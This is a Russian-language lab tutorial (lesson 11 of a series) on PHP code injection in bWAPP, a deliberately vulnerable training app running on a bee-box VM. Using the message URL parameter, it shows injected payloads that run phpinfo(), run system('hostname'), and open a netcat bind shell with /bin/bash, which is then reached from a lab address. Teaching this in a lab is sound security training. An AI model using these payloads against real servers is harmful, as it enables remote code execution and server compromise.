Bee-Box, bWAPP (buggy web application), PHP Code Injection, Уязвимости

#11 Уязвимость — PHP Code Injection.

Здравствуйте, дорогие друзья.

В рамках данного урока мы рассмотрим уязвимость внедрения кода PHP.

Он выводится на стороне сервера. Данная уязвимость возникает, когда приложение включает управляемые пользователем данные в строку URL, которая динамически оценивается интерпретатором кода.

Если пользовательские данные строго не проверены, злоумышленник может использовать специально созданный ввод для изменения кода, который должен быть выполнен, и ввести произвольный код, который будет выполняться сервером.

Уязвимости внедрения кода на стороне сервера, как правило, очень серьезны и приводят к полной компрометации данных и функциональности приложения, а также часто сервера, на котором размещается приложение. Также возможно использовать сервер в качестве платформы для дальнейших атак на другие системы.

Переходим к практике, и будем тестить веб-приложение bWAPP, на машине «bee-box».  Переходим на вкладку «PHP Code Injection», на уровне «low»:

Переходим на вкладку «PHP Code Injection», на уровне «low»

Для выявления уязвимости нам нужно в адресной строке URL прописать какой-либо текст, добавив в начало записи «?message=»:

Для выявления уязвимости нам нужно в адресной строке URL прописать какой-либо текст, добавив в начало записи «?message=»

Мы успешно проэксплуатировали данную уязвимость. Пойдем дальше, и попытаемся вывести версию PHP, с подробными параметрами. Это делается с помощью записи: «; phpinfo()». В начало я добавлю все тот-же текст «timcore»:

попытаемся вывести версию PHP, с подробными параметрами

Можем поиграться, и вывести имя хоста. Это делается с помощью записи «system(„hostname“)»:

Можем поиграться, и вывести имя хоста. Это делается с помощью записи «system(„hostname“)»

Можем вывести обратное соединение с уязвимой веб-страницы. Мы уже знаем эту команду, и она будет выглядеть как: «system(‘nc -lvp 4444 -e /bin/bash’)»:

system('nc -lvp 4444 -e /bin/bash')

Перейдем в терминал, и воспользуемся инструментом «netcat». Команда будет выглядеть как: «nc -nv 10.0.2.18 4444»:

nc -nv 10.0.2.18 4444

После этого можно потестить команды, например: «id», «pwd» и т. д.

На этом все. Всем хорошего дня!

#1 bWAPP — buggy web application (глючное веб-приложение). Bee-Box. Установка на Virtualbox в Parrot Security OS.

#2 bWAPP (Bee-Box) — первоначальная настройка.

#3 Уязвимость HTMl Injection — Reflected (GET) уровень (Medium).

#4 Уязвимость HTML Injection — Reflected (POST) уровень (Low).

#5 Уязвимость HTML Injection — Reflected (POST) средний уровень.

#6 Уязвимость HTML Injection — Reflected (Current URL) уровень low.

#7 Уязвимость HTML Injection — Stored (Blog).

#8 Уязвимость iFrame-Injection.

#9 Уязвимость — OS Command Injection.

#10 Уязвимость — OS Command Injection (Blind).